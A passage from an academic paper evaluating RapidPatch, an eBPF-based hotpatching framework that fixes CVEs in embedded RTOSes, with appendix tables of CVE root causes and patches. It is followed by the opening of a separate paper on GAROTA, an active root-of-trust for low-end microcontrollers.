fixed by filter patches. The results show that filter patches are
effective in preventing the majority of vulnerabilities, such as
out-of-range access or lack of sanity checks, which could lead
to serious problems such as remote code execution (RCE).

There are several special cases that are not suitable for hot-
patching. 6 out of 62 CVEs cannot be handled by RapidPatch
due to one of the following two reasons. First, some patches
modify the macros or struct definitions, impacting the entire
firmware. For instance, fixing CVE-2017-14202 in Zephy-
rOS needs to increase the memory size for the shell history
items by modifying the corresponding macro. Second, the
original C patch is trying to fix too many vulnerable func-
tions at the same time. A typical case is CVE-2020-10064 in
Zephyr OS, which modifies a dozen of IEEE 802.15.4 frame
processing functions. Hotpatching this many vulnerabilities
simultaneously could exhaust the hardware resources.

6.2 Adaptability of RapidPatch

RapidPatch runtime is a portable C library that only re-
lies on a few POSIX APIs (such as malloc/free) and can
be easily ported to different RTOSes. We have successfully
ported RapidPatch runtime to Amazon FreeRTOS, Zephyr OS,
NuttX, and LiteOS (five most commonly used RTOSes [11])
with an average code modification of 47 lines (including the
modification in Makefile and CMake). RapidPatch runtime is
used as a new component for these RTOSes and developers
can use the existing menuconfig tool to enable or disable this
feature.

We choose three types of most used connective devices
to evaluate the portability of RapidPatch runtime: (i) the
NRF52840 development board with built-in wireless support
in the MCU, (ii) STM32L475, STM32F429 and GD32VF103
which only support wired connection via SPI interfaces, and
(iii) ESP-WROOM32, a dedicated WIFI/bluetooth MCU. The
detailed specification of these devices is shown in Table 4.
Currently we only implement JIT mode in ARMv7-m used
by the Cortex-M3/M4 MCU. The RapidPatch runtime needs
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CVE-ID OS/Lib Vulnerability
type Bug description Patch

Type
Patch
lines

c1 2020-10063 ZephyrOS Integer Overflow The uint16_t overflow in CoAP function _parse_option Filter 12
c2 2020-10021 ZephyrOS Out-of-Bounds Write Usb massive storage over range write Filter 14
c3 2020-10023 ZephyrOS Logical Bug Incorrect logic for string strip in shell Replace 52
c4 2020-10024 ZephyrOS Instruction Misuse Misuse the signed comparison for the unsigned Filter 11
c5 2020-10028 ZephyrOS Lack Sanity Checking The GPIO handlers do not verify the arguments Filter 15
c6 2020-10062 ZephyrOS Logical Bug Packet length decoding error in MQTT Replace 38

c7 2018-16524 FreeRTOS Division by Zero The RxWindowLength may divide zero (MSS = 0) Filter 59
c8 2018-16528 FreeRTOS State Confusion Recv before the mbedTLS success to initialize Filter + Map 6 + 12
c9 2018-16603 FreeRTOS Out-of-Bounds Read xProcessReceivedTCPPacket read over range Filter 14

c10 2017-2784 mbedTLS Invalid Free Free the pointer in mbedtls_mpi before initializing Filter 5
c11 2020-17443 AMNESIA33 Lack Packet Checks ICMPv6 echo request header length has no limit Filter 13
c12 2020-17445 AMNESIA33 Lack Option Checks IPv6 header’s dest options lengths not checked Filter 25

Table 3: The eBPF patch for different CVE types.

Device MCU Arch Frequency Flash SRAM

NRF52840 Cortex-M4 64MHz 1MB 256KB
STM32L475 Cortex-M4 80MHz 512KB 128KB
STM32F429 Cortex-M4 180MHz 2MB 256KB
ESP-WROOM32 Xtensa 240MHz 448KB 520KB
GD32VF103 RISC-V32 108MHz 128KB 32KB

Table 4: The specifications of evaluated embedded devices.

about 13KB flash memory and 5KB RAM. Considering the
RTOS and user applications typically need roughly 45KB
flash memory, RapidPatch can work on devices with only
64KB or more flash memory.
Hotpatching Strategies on Different Devices. We use CVE-
2018-16603 from FreeRTOS to test RapidPatch on the five
devices. In ARM Cortex-M4 devices, both dynamic patch
points (i.e., FPB and KProbe) and fixed patch points can be
used to trigger the patch. Note that KProbe is not supported
by Xtensa MCUs [13]. It can work on RISC-V MCUs [22]
but we have not implemented it yet. Finally, we use fixed
patch points to trigger the patch. The vulnerable function is
patched successfully on these devices with a delay of 12.9 µs
∼ 28.1 µs in interpreter mode. We compare the delays of all
the three hotpatching strategies on Cortex-M4 in Section 6.3.

The Espressif devices with Xtensa architecture (e.g.,
ESP32) are widely used as addons for other MCUs with-
out wireless functions. We use it to evaluate the practicality
of fixed patch points and measure the delay and storage over-
head with different numbers of fixed patch points. We develop
a source code instrument tool to add a macro that saves the
context and calls the patch dispatcher at the entrance of func-
tions. Note that the tool can only hook the functions which
are non-inline, or return a value type (e.g., int, pointers) or
void, or use assembly code. In FreeRTOS on the ESP32 devel-
opment board, we add fixed patch points to 1442 out of 4372
functions and the size of firmware increases by 31KB, result-
ing in a storage overhead of 3.8%. For Zephyr OS, we add

fixed patch points to 1051 out of all the 1861 functions and
need extra 14KB flash storage, resulting in a storage overhead
of 7.0%. Nevertheless, if only the network stacks are instru-
mented, the incurred storage overhead is negligible. Since
the functions with fixed patch points need to execute extra
instructions to call the patch dispatching functions, we use a
bitmap to quickly check if there are active patches at these
functions. We evaluate the performance impact in Section 6.4
and the applications slow down 2.15 ∼ 9.14% when all the
subsystem functions are instrumented. Note this hotpatching
approach can also be used in MIPS, AVR MCUs.

6.3 Patching Delay
We first follow the RapidPatch runtime’s design in Figure 7 to
perform a micro-benchmark of each patch execution phase on
both Zephyr OS and bare-metal firmware using the NRF52840
device. Then we evaluate the delay of the entire patching
process on various devices.
Patch Loading Delay. Since the patch loading process only
contains fixed instructions for triggering the patch and sav-
ing/restoring the context, which is consistent among different
patches for the same patching strategies, we can measure the
standalone loading delay by excluding the patch dispatching
and executing phases from the whole patching process. We
ran each patch triggering strategy for 10 times to count the
average CPU cycles on the NRF52840 device. The OP_PASS
operation needs to reset the hardware breakpoint status (see
Section 5) to avoid repeatedly executing the breakpoint in-
struction. As a result, when using FPB and KProbe that are
triggered by hardware breakpoints, the patch loading time
changes in different redirection operations. The results are
shown in Table 5. All these strategies can finish within 400
CPU cycles (about 7 µs on NRF52840). The fixed patch points
have less instructions than the KProbe/FPB and only needs 66
cycles. As a comparison, the UART printf function needs
about 180000 CPU cycles.
Patch Dispatching Delay. The patch dispatching approach
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Figure 10: The patching delays on different devices.

Fixed Patch
Point FPB Debug

Monitor

OP Cycles Time Cycles Time Cycles Time

No Patch 66 1.03 0 0 0 0
Pass (Continue) 66 1.03 395 6.17 252 3.94
Drop / Redirect 66 1.03 120 1.87 135 2.1

Table 5: The CPU cycles and time required by various patch
triggering methods for a single vulnerability in NRF52840.

selects the appropriate patch from all the active patches. We
measure the time consumption of the patch dispatching func-
tion with different numbers of active patches. Due to memory
constraints, most devices can only install a limited number of
patches, and therefore we set 64 as the maximum active patch
number. As is shown in Figure 10 (a), the dispatching time
increases with the patch number and need about 2.0 µs for 64
patch points.
eBPF Code Execution Delay. The patch execution time can
be evaluated independently by directly running the patch code.
Since the delay of patch execution depends on the detailed
eBPF code (e.g., instruction number, time complexity) and
the inputs, we set different arguments to run the patches for
different CVEs types, as shown in Table 3. The filter patch’s
delay is negligible as it only needs to check the inputs and
the loop count is limited by SFI. Nevertheless, the replace
patch can use all kinds of logic and its delay depends on
the detailed implementation. We run the eBPF patches for
the CVEs in Table 3 and measure the time consumption in
both eBPF interpreter mode and JIT mode on the NRF52840
device. As shown in Table 6, when running in interpreter
mode, the patch delay is 8 ∼ 30 µs and this duration can be
smaller than 2 µs in JIT mode. However, calling C function in
eBPF code is time consuming (about 300 extra cycles in JIT
mode). As an example, the patch code for CVE-2020-10023
calls function memmove for tens of times and needs 14.7 µs
while the original C function only needs 5.6 µs.
Comparison with HERA. We reimplement HERA’s patch-
ing approach in our STM32L475 device using Cortex-M4’s
FPB flash patching feature and measure its patching delay.
We use FreeRTOS’s CVE-2018-16601 as an example. On

CVE # of eBPF
Instructions

eBPF
Interpreter eBPF-Jit Memory

(Bytes)

c1 8 27.3 µs 1.7 µs 56
c2 16 8.5 µs 1.6 µs 48
c3 100 133.3 µs 14.7 µs 260
c4 12 9.5 µs 2.0 µs 68
c5 14 23.5 µs 1.5 µs 48
c6 55 51.2 µs 4.4 µs 232
c7 46 26.8 µs 1.8 µs 188
c8 10+10 14.9 µs +16.2 µs 2.8 µs +2.7 µs 56+68
c9 10 28.1 µs 1.8 µs 52
c10 7 10.1 µs 1.4 µs 48
c11 7 9.5 µs 1.6 µs 48
c12 36 22.2 µs 3.9 µs 156

Table 6: The execution times of eBPF patches on NRF52840.

STM32L475, when dispatching 1 to 5 patches in the dis-
patcher, HERA needs 0.3 ∼ 0.85 µs, and RapidPatch needs
3.2 ∼ 4.3 µs since it needs to return to the original func-
tion for OP_PASS. For patch execution, HERA needs 0.25 µs
to execute the extra patching instructions while RapidPatch
needs 1.5 µs to execute the patch in JIT mode. Overall, Rapid-
Patch has slightly higher, yet comparable, patching overhead
compared with HERA.

Total Patching Delay. We use the CVEs in Table 3 to mea-
sure the total patching delays by applying KProbe patch
triggers on various devices with Zephyr OS and bare-metal
firmware. As shown in Figure 10(b), the average patching
delay is less than 7.5 µs, and MCUs with higher frequencies
have smaller delays. Since the patch loading delays depend
on the trigger strategies and have a fixed delay of less than 6
µs, the entire patching delay is mainly decided by the detailed
patching code. For the filter patches, we can limit the total
loop iterations via SFI, and therefore can achieve bounded de-
lays of 8 µs. We find that the patching delays are not affected
by whether the devices are installed with RTOSes. Instead,
the task schedules of the OS have more impacts.
Patching Real-Time Tasks. To further measure how other
tasks may affect the patching process, we execute the hot-
patching task under the Servo Motor controlling scene. As
shown in Figure 10(c), the Servo Motor is controlled by the
pulse-width modulator (PWM) timer exception in a fixed cy-
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cle of 10ms. The motor task has a hard real-time constraint to
control the motor every 10ms and thus has the highest priority.
In our evaluation, the task to be patched (i.e., the patched
task) runs with a medium priority. We set the patch installer
task with the lowest patching priority, so it does not interrupt
any other tasks. The patch installer task is shown in À and it
is interrupted by the motor task. As the patch installer task
completes successfully, the patch is triggered immediately
when the vulnerable function is invoked. The patch installa-
tion and execution are finished within 10 ∼ 20 ms since it is
split into multiple CPU time slices. RapidPatch allows other
task to intercept the patch execution at any time. The patch
triggering processes can also be interrupted. In particular, the
FPB and fixed patch points obviously do not block the tasks
with high priority [35]. Since KProbe is implemented by the
debug monitor [58], we can set a low exception priority via
the nested vector interrupt control (NVIC). Thus, RapidPatch
will not disrupt device operations with real-time constraints.

6.4 System Overhead of Patching

We evaluate the patching system’s overhead under different
patching strategies. Although the delay of a single eBPF patch
execution is around 6 µs in the JIT mode and 20 µs in the
interrupter mode, the total delay can be accumulated, which
is decided by how frequently the patched function is executed.
We patch the critical paths in the network stack triggered by
the ingress packets and measure the end-to-end latency of the
network applications.
Dynamic Patch Triggers. We first use dynamic patch trig-
gers to evaluate the overheads in different scenarios. We
choose three CVEs from different subsystems of Zephyr
OS, including CoAP library (CVE-2020-10063), MQTT li-
brary (CVE-2020-10062) and the USB massive storage li-
brary (CVE-2020-10021). We use three corresponding demo
apps running on the NRF52840 device, each containing the
vulnerable function of the specific CVE in its critical exe-
cution path. For each app, we install a filter patch triggered
by KProbe on the buggy function and send thousands of re-
quests to measure the end-to-end interaction delay incurred
by RapidPatch. The CoAP demo app works as a server, using
a single thread to connect to a remote client, and we measure
the request-response duration for every request. The MQTT
demo app functions as a subscriber and connects to a broker
to keep sending PUBACK messages after receiving PUB-
LISH packets. We record the delay between every PUBLISH-
PUBACK pair. In the USB massive storage app, the board
connects to the machine via a USB cable, and responds to
a few read/write commands sent from the machine in every
iteration. We measure the duration of every iteration. We use
the original system as baselines and compare its performance
with eBPF interpreter-patched and eBPF JIT-patched modes.

As shown in Figure 11, the patching delay under all three
application scenarios is negligible, no matter using an eBPF

interpreter mode or an eBPF JIT mode. The latency distribu-
tions of both eBPF JIT patches and eBPF interpreter-patches
are quite close to the original system, while the eBPF JIT
mode imposes slightly lower latency than the interpreter mode.
In particular, the delay incurred by the eBPF interpreter mode
for all three demo apps ranges 0.06% ∼ 1.5%, and the delay
incurred by the eBPF JIT mode ranges 0.01% ∼ 0.6%. Such
extra delays are acceptable because even for the most delay-
sensitive demo app, i.e., CoAP app, all the request-response
latencies are milliseconds, which is much higher than the sin-
gle patch execution delay (on the order of microseconds as
discussed in Section 6.3). Overall, the above results demon-
strate that a single patch with dynamic patch trigger introduces
negligible impacts on embedded devices.
Fixed Patch Points. Since the fixed patch points can affect
all the functions instrumented in RTOSes, an increasing num-
ber of functions equipped with fixed patch points may cause
a higher delay to the system. As shown in Figure 12, we add
different scales of fixed patch points in FreeRTOS and Zephyr
OS, i.e., only the network stacks, all the subsystems, and the
whole system. We install a patch to a vulnerable function
of the network stack and send 10K requests to measure the
average latency of CoAP Apps. On the NRF52840 device
with Zephyr OS, we instrument 342 functions of the network
stack (18.4% of all functions in the firmware) and the in-
curred latency overhead is about 1.84%. When instrumenting
401 functions of all subsystems (21.5%), the incurred latency
overhead is about 2.15%. When instrumenting 1051 functions
of the whole system (56.5%), the incurred latency overhead
is about 18.8%. On the ESP32 device1 running FreeRTOS,
when 195 functions of the network stack (4.5%) are instru-
mented, the incurred latency overhead is about 0.42%. When
499 functions of all subsystems (11.4%) are instrumented,
the incurred latency overhead is about 9.14%. When 1441
functions of the whole system (33%) are instrumented, the
incurred latency overhead is about 12.1%. The latencies are
increasing with the number of patch points even though there
are no active patches installed at these places. The patch trig-
gering and execution delays of each active patch are similar
to the cases using dynamic patch points.
Discussion. Since the patch downloading, JIT compiling,
and installing processes can run as background tasks, the ma-
jor performance impacts of our patching system are caused
by patch triggering and patch execution. When there are no
patches installed, the dynamic triggers are vetted by the hard-
ware and incur negligible overhead while the fixed patch
points incur more significant delays as they are inserted into
the functions and called repeatedly. As shown in Figure 12,
our fixed patch points’ instrumentation approach has a similar
overhead as the stack canary [36] which only needs to load
the global canary value twice from the SRAM to make a com-
parison. In our experiments, on different RTOSes, if we only

1We set the MCU frequence to 80 MHz.
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Figure 11: The incurred delays by RapidPatch on NRF52840DK with Zephyr OS.
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Figure 12: Overhead with various scales of fixed patch points.

place fixed patch points within the most risky code blocks
(i.e., the network stacks), the overhead is less than 2%. When
placing fixed patch points all around the systems, especially
in the RTOS’s core functions, the total overhead is up to 20%.
The results on different devices and various RTOSes indicate
that placing multiple active patches have little impact on the
system’s performance, because the execution of a single patch
only incurs less than 20 µs delay (as shown in Section 6.3).
In fact, the total installed patch number is mostly dominated
by the memory size, rather than performance degradation.

7 Related Work

IoT Firmware Update. Normally, over-the-air (OTA) up-
dating [19] is utilized to add new features in IoT sys-
tems or fix software bugs (and vulnerabilities) by fully or
incrementally modifying the on-chip firmware. Existing
works [29, 32, 39, 51] proposed reprogramming methods to

reduce the transmitted data during updating. Several frame-
works [27, 49] have been proposed to secure OTA updating,
including the firmware generation, propagation, verification,
and installation phases. However, OTA updating operations
require reprogramming the NOR-Flash memory, which means
erasing and rewriting partial code blocks of the system. As
we have discussed, writing the execution code on flash def-
initely will halt the corresponding task threads. Although
dynamic linking and relocating the RTOSes tasks/libraries
can eliminate the system halt [47], it cannot be applied to
existing RTOSes, most of which use static linked tasks. In-
stead of directly modifying the running code on flash, our
approach leverages hardware debug features to dynamically
load patches or only modify the quiescent code to avoid inter-
fering with the system execution during system update.

Hardware Based Hotpatching. Different from the tradi-
tional hotpatching techniques, hardware based hotpatching
triggered by hardware debug units can avoid injecting new in-
structions to vulnerable programs or the corresponding mem-
ory space [33, 35]. For instance, Instaguard [33] leverages
hardware to enable a rule-driven hotpatching mechanism for
Android mobile devices, which can significantly reduce the
delay of system patching. Nevertheless, it cannot be applied
on IoT devices that run RTOS applications because of the
following reasons. First, most of RTOSes only run with one
process with various threads in charge of separate task loops,
and thus we cannot simply terminate the affected process by
using their mechanism. Second, according to our studies on
RTOS related CVEs, many CVEs are raised by logic errors
in RTOSes, which cannot be fixed by applying rule-based
filtering in Instaguard. RapidPatch well addresses this issue
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by enabling dynamic code replacement with eBPF. Although
HERA [35] can fix such bugs by leveraging the FPB to redi-
rect the vulnerable code to the new binary code, it can only be
applied in ARM Cortex-M3/M4 devices. RapidPatch enables
a generic approach for different platforms by utilizing both
fixed and dynamic patch triggers in various platforms. Particu-
larly, RapidPatch allows dynamic update when the vulnerable
function has states shared with other functions, e.g., to fix
CVE-2018-16528 (i.e, the vulnerabilities in TLS connectivity
modules), which has not been addressed via stateful patches.
Patch Analysis. Patch analysis for vulnerability discovery
has been studied in the literature [61]. Fore example, Zhang
et. al. propose FIBER [52, 61], a tool to analyze an Android
kernel and check if the source code of the kernel have merged
with a patch. Pewny et. al. [52] can verify if a bug exists
in software by semantic comparison based binary analysis.
Their method can also identify bugs across different archi-
tectures and find the heartbleed vulnerability in three types
of instruction sets (i.e., x86, ARM, and MIPS). These works
orthogonal to RapidPatch. We can leverage these tools to
identify versions of vulnerable RTOS systems.
System Enhancement with eBPF. In Linux, eBFF are usu-
ally used to implement new network functionalities, e.g., per-
formance analysis, network acceleration, and intrusion detec-
tion [44–46]. In particular, eBPF has been recently used to
develop different defense systems with low processing over-
head [38, 40–42, 48, 54, 55]. To best of our knowledge, Rapid-
Patch is the first OS-independent RTOS library that leverage
eBPF to enable safe hotpatching for various vulnerable RTOS
applications with different instruction set architectures.

8 Discussion

Existing hotpatching solutions in Linux/Android are not appli-
cable on embedded devices due to their resource limitations
and requirements on real-time patching. Similar to HERA,
RapidPatch can hotpatch the RTOS without modifying the
flash (which could impose hundreds of milliseconds delays
since the flash sectors need to be first erased before rewrit-
ing), and therefore avoid violating the real-time constraints.
Moreover, to address the limitations of HERA, RapidPatch
provides new patching strategies to support more devices and
use bytecode patches to automatically adapt to heterogeneous
devices. Yet, RapidPatch still has some common limitations
of hotpatching. First, RapidPatch is applied to fix small bugs
rather than perform large feature updates and it may fail in cer-
tain cases (discussed in Section 6.1). Second, even though the
filter patches do not require extra tests, the eBPF verifier can
only ensure that the fault patches do not damage the system,
without providing guarantees that the patches are bug-free.
Third, the device maintainers still need to manually obtain the
patches from the providers (e.g., the RTOS/Library develop-
ers) and deploy the patches via RapidPatch. The RapidPatch is
suitable for the vendors to quickly deploy temporary patches

to prevent the exploitation of vulnerabilities. To better pro-
tect the devices, they need to regularly renew the versions of
RTOSes/Libraries for the firmware.

9 Conclusion

In this paper, we propose RapidPatch, a novel hotpatching
framework aiming at accelerating the patch development and
deployment for real-time embedded devices. RapidPatch al-
lows different vendors to share the same source code patch
among all the heterogeneous devices for the same vulnera-
bility and the generated patches can be instantly installed by
all downstream devices. We prototype RapidPatch that can
be deployed on different types of embedded devices. In par-
ticular, by porting the eBPF VM JIT mode to these devices,
RapidPatch enables hotpatching the devices with a negligible
delay. We evaluate RapidPatch on major CVEs on diferent
RTOSes with various devices to demonstrate the applicability,
genericity, and performance of RapidPatch.
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A CVE Case Study

Our in-depth CVE case study reveals common patterns of
vulnerabilities and proves the effectiveness and necessity of
our patch design. The most common (34/62) vulnerabilities
in embedded network stacks are the lack of boundary or san-
ity checks when processing ingress packets, which can be
efficiently fixed via filter patches. Taking CVEs of FreeR-
TOS as examples, CVE-2018-16602 (DHCP), CVE-2018-
16603 (TCP), CVE-2018-16600 (ARP) and CVE-2018-16527
(ICMP) have the same root cause that the IP packet han-
dler function prvProcessIPPacket fails to check whether
a packet uses a valid protocol or has a valid packet length.
We use a single filter patch at the entrance of function
prvProcessIPPacket to validate the ingress IP packets by
adding extra checks to ensure that the packets have valid
headers and lengths that are coherent with their protocols.
As such, we fix a bundle of vulnerabilities simultaneously.
Actually, considering that the packets using various upper-
layer protocols usually share the same lower-layer protocol
and dispatching entrance, we can fix vulnerabilities with filter
patches more efficiently.

Logical bugs in RTOSes reveal the necessity of code re-
place patch. These bugs may cause system failures even under
legitimate inputs. For instance, CVE-2020-10023 arises due
to wrongly passing shift (instead of j) when invoking memmove
in function shell_spaces_trim. To fix it, we need to rewrite
the passed parameters. While for CVE-2017-14201, the mis-
use of stack variable in function dns_result_cb leads to a
Use after Free vulnerability. As such, we must modify the
parameter construction, passing and interpretation logic of
function dns_result_cb via code replace patches.

static bool infoTransfer(void) {
  // ...
  addr = n * BLOCK_SIZE;
+ if (addr >= memory_size) {     
+   LOG_ERR("LBA out of range"); 
+   csw.Status = CSW_FAILED;     
+   sendCSW();                   
+   return false;                
+ }                              
  // ...
  if (!cbw.DataLength) {
    csw.Status = CSW_FAILED;
    sendCSW();
    return false;
  }
  // ...
}

addr = n * BLOCK_SIZE;
 800c93e:  ldr r1, [pc, #120]
 800c940:  rev r3, r3
 800c942:  lsls r0, r3, #9
 800c944:  str r0, [r1, #0]   

csw.Status = CSW_FAILED;
 800c970:  ldr r3, [pc, #76]    
 800c972:  movs r2, #1
 800c974:  strb r2, [r3, #12]
sendCSW();
 800c976:  bl 800c8bc
return false;
 800c97a:  movs r0, #0

Basic block for hardware breakpoint

Basic block for return

Figure 13: The patch entrance and exit basic blocks for CVE-
2020-10021

patch_type: filter_patch 
 
trigger_point: 
  function_position: infoTransfer 
  statement_position: addr = n * BLOCK_SIZE;  
 
trigger_type: KPROBE 
   
run_type: JIT 
 
iteration_threshold: default 

priortiy: default

 
variable_map: 
  - MARCO_MEM_SIZE:  
    address_type:  global_variable 
    match_name: memory_size

Figure 14: Patch configuration for CVE-2020-10021

B Baisc Block-Level Patch

As is shown in Figure 13, the root cause of Zephyr’s CVE-
2020-10021 is that the address written by USB Mass Storage
may exceed the memory size. Mitigating it requires adding
extra checks to the write range. Right after the statement addr
= n * BLOCK_SIZE; is executed, we can easily validate the
address to be written stored in variable addr using register r0.
The original source code patch is shown in green lines which
handles the error by calling sendCSW() to notify the memory-
write error. Instead of writing a code replace patch from the
beginning, we redirect the control flow to reuse another exist-
ing error handling basic block. With the help of basic block
level patch, RapidPatch has a very lightweight way of fixing
the bugs by just blocking or replacing the vulnerable basic
blocks. The patch configuration file for CVE-2020-10021 is
shown in Figure 14.

C CVE Dataset

Table 7 shows the CVEs studied in this paper. Around 90.3%
CVEs (i.e., 56/62) can be fixed by hotpatching, while only six
CVEs cannot be fixed, which are marked as − in the Patch
Type column.
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CVE-ID OS/Lib Patch Description / Reason Why Cannot Fix Patch Type
2018-16528 FreeRTOS Record mbedtls_ssl_handshake status with eBPF map to prevent using unready mbedTLS context Filter Patch + Map
2018-16522 FreeRTOS Basic block replacement to initialize protocol with memset name buffer after malloc Code Replace Patch
2018-16526 FreeRTOS Rewrite function prvProcessIPPacket to update pxIPHeader->ucVersionHeaderLength Code Replace Patch
2018-16525 FreeRTOS Add UDP payload length field validation for prvProcessIPPacket function Filter Patch
2018-16599 FreeRTOS Add UDP payload length field validation for prvProcessIPPacket function Filter Patch
2018-16601 FreeRTOS Add IP header length field validation for prvProcessIPPacket function Filter Patch
2018-16523 FreeRTOS Check if uxNewMSS equals zero before use Filter Patch
2018-16524 FreeRTOS Add validation for pucLast against received packet buffer bound in function prvCheckOptions Filter Patch
2018-16603 FreeRTOS Check if the received frame is larger than the minimum packet size Filter Patch
2018-16602 FreeRTOS Add length checks for the DHCP option fields walking loop Filter Patch
2018-16600 FreeRTOS Check received frame size in function prvProcessEthernetPacket for ARP case Filter Patch
2018-16527 FreeRTOS Check received frame size in function prvProcessIPPacket for ICMP case Filter Patch
2018-16598 FreeRTOS Match outgoing DNS query with received answer using eBPF map Filter Patch + Map
2017-14199 ZephyrOS Add out-of-bound check for function dns_resolve_cb Filter Patch
2017-14201 ZephyrOS Modify the way to pass and interpret void *user_data for function dns_result_cb Code Replace Patch
2017-14202 ZephyrOS Macro and struct definitions modification are involved −
2019-9506 ZephyrOS Add filter point to ban low encryption key length Filter Patch

2020-10019 ZephyrOS Limit upload length to the size of the request buffer Filter Patch
2020-10021 ZephyrOS Check if LBA is within the range of memory_size Filter Patch
2020-10022 ZephyrOS Too many vulnerable functions are involved −
2020-10023 ZephyrOS Rewrite the logic for counting the length in function shell_spaces_trim Code Replace Patch
2020-10024 ZephyrOS Obtain C flag in APSR after the cmp instruction to help enforce unsigned comparison Filter Patch
2020-10027 ZephyrOS Obtain C flag in APSR after the cmp instruction to help enforce unsigned comparison Filter Patch
2020-10028 ZephyrOS Perform validation for arguments of the GPIO handlers Filter Patch
2020-10058 ZephyrOS Perform validation for arguments of the kscan syscalls Filter Patch
2020-10059 ZephyrOS Enable DTLS peer checking for the UpdateHub module Code Replace Patch
2020-10060 ZephyrOS Add array length check to avoid reference uninitialized stack memory Filter Patch
2020-10061 ZephyrOS Basic block-level prevent referencing uninitialized stack memory in function updatehub_probe Filter Patch
2020-10062 ZephyrOS Rewrite packet_length_decode function to correct the looping logic Code Replace Patch
2020-10063 ZephyrOS Check for integer overflow during CoAP option parsing Filter Patch
2020-10064 ZephyrOS Patch code is too complex and involves many changes −
2020-10066 ZephyrOS Add argument nullpointer checks for function hci_cmd_done in Bluetooth HCI core Filter Patch
2020-10067 ZephyrOS Add integer overflow checks for is_in_region function Filter Patch
2020-10068 ZephyrOS Drop response with no local initiated request and duplicate requests Filter Patch
2020-10069 ZephyrOS Add arguments validation for function ull_slave_setup Filter Patch
2020-10070 ZephyrOS Add arithmetic overflow and buffer bound checks for function mqtt_read_message_chunk Filter Patch
2020-10071 ZephyrOS Further check the length field on publish messages Filter Patch
2020-10072 ZephyrOS Patch code is too complex and involves many changes −
2020-13598 ZephyrOS Macro definition modification are involved −
2020-13600 ZephyrOS Rewrite function eswifi_reset and __parse_scan_res logic to add buffer overflow check Code Replace Patch
2020-13601 ZephyrOS Add out-of-bounds read check in the middle of function dns_read Filter Patch
2020-13602 ZephyrOS Basic block-level intercept redundant branch for malformed packet in function do_write_op_tlv Filter Patch
2020-17441 PicoTCP Validate IPv6 payload length field against actual size for function pico_ipv6_process_in Filter Patch
2020-17442 PicoTCP Validate hop-by-hop IPv6 extension header length field for function pico_ipv6_process_hopbyhop Filter Patch
2020-17443 PicoTCP Restrict that echo->transport_len is no less than 8 in pico_icmp6_send_echoreply Filter Patch
2020-17444 PicoTCP Check possible overflow of header extension length field for pico_ipv6_check_headers_sequence Filter Patch
2020-17445 PicoTCP Validate optlen using a loop prior to function pico_ipv6_process_destopt Filter Patch
2020-24337 PicoTCP Validate TCP packet option length field before invoking option handler Filter Patch
2020-24338 PicoTCP Add bound check on iterator for the while loop in function pico_dns_decompress_name Filter Patch
2020-24339 PicoTCP Add out-of-bounds check for iterator of pico_dns_packet in function pico_dns_decompress_name Filter Patch
2020-17437 uIP Add validation for Urgent data offset(uip_urglen) in TCP data Filter Patch
2020-24334 uIP Add checks for nameptr when processing DNS answers to prevent possible out-of-bound read Filter Patch
2021-3336 wolfSSL Exit function DoTls13CertificateVerify on signature without corresponding certificate Filter Patch

2020-24585 wolfSSL Add check to reject DTLS application data messages in epoch 0 as out of order Filter Patch
2020-12457 wolfSSL Record with eBPF map to prevent multiple ChangeCipherSpecs in a row Filter Patch + Map
2019-18840 wolfSSL Need to add too many sanity checks −
2019-16748 wolfSSL Add sanity check on length before read for function CheckCertSignature_ex Filter Patch
2020-24335 Contiki-NG Rewrite function decode_name to limit pointer bound during domain name parse Code Replace Patch
2020-24336 Contiki-NG Validate DNS answer‘s length field before using it for memcpy in function ip64_dns64_4to6 Filter Patch
2020-13987 Contiki Add out-of-bounds check for upper_layer_len in function upper_layer_chksum Filter Patch
2020-17439 Contiki Match DNS reply with outgoing DNS query using eBPF map for function newdata Filter Patch + Map
2020-25111 Nut/Net Rewrite function ScanName to validate domain name length and label length Code Replace Patch

Table 7: CVEs studied in this paper.
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Abstract

Embedded (aka smart or IoT) devices are increasingly pop-
ular and becoming ubiquitous. Unsurprisingly, they are also
attractive attack targets for exploits and malware. Low-end
embedded devices, designed with strict cost, size, and en-
ergy limitations, are especially challenging to secure, given
their lack of resources to implement sophisticated security
services, available on higher-end computing devices. To this
end, several tiny Roots-of-Trust (RoTs) were proposed to en-
able services, such as remote verification of device’s software
state and run-time integrity. Such RoTs operate reactively:
they can prove whether a desired action (e.g., software update
or program execution) was performed on a specific device.
However, they can not guarantee that a desired action will be
performed, since malware controlling the device can trivially
block access to the RoT by ignoring/discarding received com-
mands and other trigger events. This is an important problem
because it allows malware to effectively “brick” or incapaci-
tate a potentially huge number of (possibly mission-critical)
devices.

Though recent work made progress in terms of incorporat-
ing more active behavior atop existing RoTs, much of it relies
on extensive hardware support in the form of Trusted Execu-
tion Environments (TEEs), which are generally too costly for
low-end devices. In this paper, we set out to systematically de-
sign a minimal active RoT for low-end MCU-s. We begin with
three questions: (1) What functionality is required to guar-
antee actions in the presence of malware? (2) How to imple-
ment this efficiently? and (3) What are the security benefits of
such an active RoT architecture? We then design, implement,
formally verify, and evaluate GAROTA : Generalized Active
Root-Of-Trust Architecture. We believe that GAROTA is the
first clean-slate design of an active RoT for low-end MCU-s.
We show how GAROTA guarantees that even a fully software-
compromised low-end MCU performs a desired action. We
demonstrate its practicality by implementing GAROTA in the
context of three types of applications where actions are trig-
gered by: sensing hardware, network events and timers. We
also formally specify and verify GAROTA functionality and
properties.

1 Introduction
The importance of embedded systems is hard to overestimate
and their use in critical settings is projected to rise sharply [1].
Such systems are increasingly inter-dependent and used in
many settings, including household, office, factory, automo-
tive, health and safety, as well as national defense and space
exploration. Embedded devices are usually deployed in large
quantities and for specific purposes. Due to cost, size and
energy constraints, they typically cannot host complex secu-
rity mechanisms. Thus, they are an easy and natural target for
attackers that want to quickly and efficiently cause harm on an
organizational, regional, national or even global, level. Funda-
mental trade-offs between security and other priorities, such
as cost or performance are a recurring theme in the domain of
embedded devices. Resolving these trade-offs, is challenging
and very important.

Numerous architectures focused on securing low-end
micro-controller units (MCU-s) by designing small and af-
fordable trust anchors [3]. However, most such techniques
operate passively. They can prove, to a trusted party, that cer-
tain property (or action) is satisfied (or was performed) by a re-
mote and potentially compromised low-end MCU. Examples
of such services include remote attestation [6,10,15,23,34,42],
proofs of remote software execution [17], control-flow & data-
flow attestation [4, 19, 20, 43, 51, 55], as well as proofs of
remote software update, memory erasure, and system-wide
reset [5, 9, 16]. These architectures are typically designed to
provide proofs that are unforgeable, despite potential compro-
mise of the MCU.

Aforementioned approaches are passive in nature. While
they can detect integrity violations of remote devices, they can-
not guarantee that a given security or safety-critical task will
be performed. For example, consider a network comprised of
